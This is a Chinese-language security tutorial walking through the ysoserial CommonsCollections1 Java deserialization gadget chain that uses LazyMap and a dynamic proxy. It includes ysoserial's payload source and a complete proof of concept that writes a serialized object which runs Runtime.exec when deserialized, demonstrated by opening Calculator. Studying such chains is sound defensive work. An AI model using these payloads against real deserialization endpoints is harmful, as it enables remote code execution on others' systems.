0x01 前言

通过前面几篇的CommonCollections1利用链的分析,我们也是终于一步一步打好了基础
也算是对Java反序列化导致的RCE漏洞有一定认识了

这个时候如果你转头去看ysoserial源码,你会发现ysoserial源码的CommonCollections1利用链
是使用LazyMap来作为漏洞触发点的
而前面几篇文章是使用TransformedMap来作为漏洞触发点的

严格来说phith0n使用这个TransformedMap来作为漏洞触发点的链,并不能叫做CommonCollections1
因为使用的是TransformedMap而不是LazyMap,但是这两个的区别,其实就是漏洞触发点,有点不同而已

作为打基础来说,使用phith0n(P牛)的这个TransformedMap来作为漏洞触发点的链,更加简单,也更加容易入门

本文就让我们学习ysoserialCommonCollections1,学习如何使用LazyMap作为漏洞触发点

0x02 ysoserial-cc1攻击链介绍

首先打开并进入 ysoserial 项目
找到 /ysoserial-0.0.5/src/main/java/ysoserial/payloads/CommonsCollections1.java 这个文件
看看 ysoserial 是如何生成CommonsCollections1利用链的

代码如下:

  1. package ysoserial.payloads;
  2. import java.lang.reflect.InvocationHandler;
  3. import java.util.HashMap;
  4. import java.util.Map;
  5. import org.apache.commons.collections.Transformer;
  6. import org.apache.commons.collections.functors.ChainedTransformer;
  7. import org.apache.commons.collections.functors.ConstantTransformer;
  8. import org.apache.commons.collections.functors.InvokerTransformer;
  9. import org.apache.commons.collections.map.LazyMap;
  10. import ysoserial.payloads.annotation.Authors;
  11. import ysoserial.payloads.annotation.Dependencies;
  12. import ysoserial.payloads.annotation.PayloadTest;
  13. import ysoserial.payloads.util.Gadgets;
  14. import ysoserial.payloads.util.JavaVersion;
  15. import ysoserial.payloads.util.PayloadRunner;
  16. import ysoserial.payloads.util.Reflections;
  17. @SuppressWarnings({"rawtypes", "unchecked"})
  18. @PayloadTest ( precondition = "isApplicableJavaVersion")
  19. @Dependencies({"commons-collections:commons-collections:3.1"})
  20. @Authors({ Authors.FROHOFF })
  21. public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
  22. public InvocationHandler getObject(final String command) throws Exception {
  23. final String[] execArgs = new String[] { command };
  24. // inert chain for setup
  25. final Transformer transformerChain = new ChainedTransformer(
  26. new Transformer[]{ new ConstantTransformer(1) });
  27. // real chain for after setup
  28. final Transformer[] transformers = new Transformer[] {
  29. new ConstantTransformer(Runtime.class),
  30. new InvokerTransformer("getMethod", new Class[] {
  31. String.class, Class[].class }, new Object[] {
  32. "getRuntime", new Class[0] }),
  33. new InvokerTransformer("invoke", new Class[] {
  34. Object.class, Object[].class }, new Object[] {
  35. null, new Object[0] }),
  36. new InvokerTransformer("exec",
  37. new Class[] { String.class }, execArgs),
  38. new ConstantTransformer(1) };
  39. final Map innerMap = new HashMap();
  40. final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  41. final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  42. final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
  43. Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  44. return handler;
  45. }
  46. public static void main(final String[] args) throws Exception {
  47. PayloadRunner.run(CommonsCollections1.class, args);
  48. }
  49. public static boolean isApplicableJavaVersion() {
  50. return JavaVersion.isAnnInvHUniversalMethodImpl();
  51. }
  52. }

是不是感觉看着好奇怪?POC怎么完全不一样了,这是因为ysoserial是一个项目,所以它把一些通用方法封装起来了
这会导致我们学习的时候多走弯路,因此我们可以换个去掉了这些通用方法的POC,在进行学习

0x03 demo

如果懒的创建环境的话,也可以通过github下载该环境如下:
https://github.com/pmiaowu/DeserializationTest

  1. 编辑器为: IntelliJ IDEA
  2. java版本:
  3. java version "1.7.0_80"
  4. Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
  5. Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
  6. 使用的架包:
  7. Commons Collections 3.1
  1. // 路径: /DeserializationTest/src/main/java
  2. // 文件名称: CommonCollections1Test4.java
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.FileOutputStream;
  9. import java.io.ObjectOutputStream;
  10. import java.lang.annotation.Retention;
  11. import java.lang.reflect.*;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class CommonCollections1Test4 {
  15. public static void main(String[] args) throws Exception {
  16. // 要执行的命令
  17. String cmd = "open -a /System/Applications/Calculator.app";
  18. //构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
  19. Transformer[] transformers = new Transformer[]{
  20. new ConstantTransformer(Runtime.class),
  21. new InvokerTransformer(
  22. "getMethod",
  23. new Class[]{String.class, Class[].class},
  24. new Object[]{"getRuntime", new Class[0]}
  25. ),
  26. new InvokerTransformer(
  27. "invoke",
  28. new Class[]{Object.class, Object[].class},
  29. new Object[]{null, new Object[0]}
  30. ),
  31. new InvokerTransformer(
  32. "exec",
  33. new Class[]{String.class},
  34. new Object[]{cmd}
  35. )
  36. };
  37. // 将 transformers 数组存入 ChaniedTransformer 这个继承类
  38. Transformer transformerChain = new ChainedTransformer(transformers);
  39. // 创建个 Map 准备拿来绑定 transformerChina
  40. Map innerMap = new HashMap();
  41. // 创建个 transformerChina 并绑定 innerMap
  42. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  43. // 反射机制调用AnnotationInvocationHandler类的构造函数
  44. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  45. Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
  46. ctor.setAccessible(true);
  47. // 使用jdk动态代理
  48. InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, outerMap);
  49. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
  50. // 获取 AnnotationInvocationHandler 类实例
  51. Object instance = ctor.newInstance(Retention.class, proxyMap);
  52. // 保存反序列化文件
  53. FileOutputStream f = new FileOutputStream("poc.ser");
  54. ObjectOutputStream out = new ObjectOutputStream(f);
  55. out.writeObject(instance);
  56. System.out.println("执行完毕");
  57. }
  58. }
  59. // 执行完毕以后 DeserializationTest目录下面会生成 poc.ser

接着就去运行Test方法,进行攻击测试,会弹出一个计算器

这个POC看起来是不是就亲切多了

0x04 利用链过程

ysoserial 源码的注释中给出了利用链的过程如下:

  1. Gadget chain:
  2. ObjectInputStream.readObject()
  3. AnnotationInvocationHandler.readObject()
  4. Map(Proxy).entrySet()
  5. AnnotationInvocationHandler.invoke()
  6. LazyMap.get()
  7. ChainedTransformer.transform()
  8. ConstantTransformer.transform()
  9. InvokerTransformer.transform()
  10. Method.invoke()
  11. Class.getMethod()
  12. InvokerTransformer.transform()
  13. Method.invoke()
  14. Runtime.getRuntime()
  15. InvokerTransformer.transform()
  16. Method.invoke()
  17. Runtime.exec()

0x05 前置知识铺垫

首先让我们回顾一下,CC1,要想成功触发漏洞的话,需要什么?
要想成功的命令执行就必须触发ChainedTransformer类的transform方法
清楚的知道这个就好办了

首先LazyMapTransformedMap,都来自于commons-collections
并且都继承了AbstractMapDecorator

接着LazyMapTransformedMap漏洞触发点的区别如下:
LazyMap是在LazyMap.get去触发transform方法
TransformedMap是在TransformedMap.put去触发transform方法

对比TransformedMap方法的利用,LazyMap方法会显的利用会显的更加复杂
因为sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法,并没有直接调用到Mapget方法,去触发transform的方法

所以ysoserial找了另外一条路
通过AnnotationInvocationHandler类的invoke方法,去调用到get方法

AnnotationInvocationHandler类的invoke方法,代码如下:

  1. public Object invoke(Object var1, Method var2, Object[] var3) {
  2. String var4 = var2.getName();
  3. Class[] var5 = var2.getParameterTypes();
  4. if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
  5. return this.equalsImpl(var3[0]);
  6. } else if (var5.length != 0) {
  7. throw new AssertionError("Too many parameters for an annotation method");
  8. } else {
  9. byte var7 = -1;
  10. switch(var4.hashCode()) {
  11. case -1776922004:
  12. if (var4.equals("toString")) {
  13. var7 = 0;
  14. }
  15. break;
  16. case 147696667:
  17. if (var4.equals("hashCode")) {
  18. var7 = 1;
  19. }
  20. break;
  21. case 1444986633:
  22. if (var4.equals("annotationType")) {
  23. var7 = 2;
  24. }
  25. }
  26. switch(var7) {
  27. case 0:
  28. return this.toStringImpl();
  29. case 1:
  30. return this.hashCodeImpl();
  31. case 2:
  32. return this.type;
  33. default:
  34. Object var6 = this.memberValues.get(var4);// 重点代码
  35. if (var6 == null) {
  36. throw new IncompleteAnnotationException(this.type, var4);
  37. } else if (var6 instanceof ExceptionProxy) {
  38. throw ((ExceptionProxy)var6).generateException();
  39. } else {
  40. if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
  41. var6 = this.cloneArray(var6);
  42. }
  43. return var6;
  44. }
  45. }
  46. }
  47. }

那么如何调用到AnnotationInvocationHandler类的invoke方法?
ysoserial作者使用的是JDK原生动态代理实现的
关于动态代理的知识,请查看
Java安全慢游记->Java 安全基础->Java代理模式(Proxy)->Java 动态代理-JDK原生
Java 动态代理-JDK原生: https://www.yuque.com/pmiaowu/gpy1q8/ze4mgq

注意: 请务必一定要把动态代理学习成功,不然的话,本篇文章,你会读的很吃力!!!!!
注意: 请务必一定要把动态代理学习成功,不然的话,本篇文章,你会读的很吃力!!!!!
注意: 请务必一定要把动态代理学习成功,不然的话,本篇文章,你会读的很吃力!!!!!

0x06 分析

前置知识也学习的差不多了,现在终于可以开始分析了
老样子先问问题,边问边答

0x06.1 啊明明,四问

第一个问题,看看LazyMap类decorate方法干了什么?
第二个问题,简单介绍一下动态代理?做了什么?
第三个问题,ctor.newInstance(Retention.class, proxyMap);这段代码干了什么?
第四个问题,整体运行流程是?

0x06.2 自我解答

第一个问题答案:

对应POC代码Map outerMap = LazyMap.decorate(innerMap, transformerChain);
image.png
只是单纯的赋值操作
其中把传进来的transformerChain赋值给了this.factory

第二个问题答案:

还是简单介绍一下,动态代理需要的类与参数
ProxynewProxyInstance方法接收的三个参数的作用分别为:
第⼀个参数,代理对象的类加载器
第二个参数,代理类全部的接口
第三个参数,实现InvocationHandler接口的对象

继续返回来,查看以下两段POC代码,看看做了啥:

  1. // 反射机制调用AnnotationInvocationHandler类的构造函数
  2. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  3. Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
  4. ctor.setAccessible(true);
  5. // 使用jdk动态代理
  6. InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, outerMap);
  7. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

可以看到使用了动态代理(重点关注Map proxyMap)
其中handler是反射创建的一个AnnotationInvocationHandler
而且AnnotationInvocationHandler类,实现了InvocationHandler接口
因此可以直接作为Proxy.newProxyInstance的第三个参数传入
最终构造完以后,返回一个Map proxyMap,它现在就是一个代理对象了

第三个问题答案:

在看看以下一段POC代码,看看做了啥,先看一眼对应的POC:

  1. Object instance = ctor.newInstance(Retention.class, proxyMap);

在看AnnotationInvocationHandler类的构造函数

  1. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
  2. Class[] var3 = var1.getInterfaces();
  3. if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
  4. this.type = var1;
  5. this.memberValues = var2;
  6. } else {
  7. throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
  8. }
  9. }

因为AnnotationInvocationHandler类的构造函数第一个参数必须要为Annotation类的子类
并且该Annotation类的子类必须含有至少一个方法,那样才能符合构造构造函数的要求
Retention类就是Annotation类的子类之一,并且含有一个方法

符合条件以后就把我们传进来的proxyMap赋值给了this.memberValues

第四个问题答案:

现在查看运行流程
POC执行反序列化的时候,会先执行AnnotationInvocationHandler类的readObject()方法
readObject()方法会去调用this.memberValuesentrySet()方法
this.memberValues是通过反射调用构造方法传入的参数,传入的参数为Map proxyMap

而因为Map proxyMap是我们的代理对象
因此调用proxyMapentrySet()会触发AnnotationInvocationHandler类的invoke()方法
执行AnnotationInvocationHandler类的invoke()方法,又会调用this.memberValues.get(var4)

这会导致进入到了LazyMapget()方法
LazyMapget()方法
里面的this.factory是一个Transformer[]数组
这时候执行this.factory.transform(key)
然后ChainedTransformer方法,又自动遍历调用Transformer[]里面的transform方法
最终导致传入的Runtime调用了exec,执行了命令,弹了个计算器

debug流程如下:
image.png
image.png
image.png

0x07 结尾

CC1在jdk1.7u21、jdk1.8_101、jdk1.8_171时,都是可用的(网上的大佬说的,我照抄)
只能这几个版本使用,主要是因为其它版本的AnnotationInvocationHandlerreadObject()是经过了改动的

最后面,恭喜我们自己,完整的从简单到困难学会了CC1,真正迈入了Java的反序列化漏洞的大门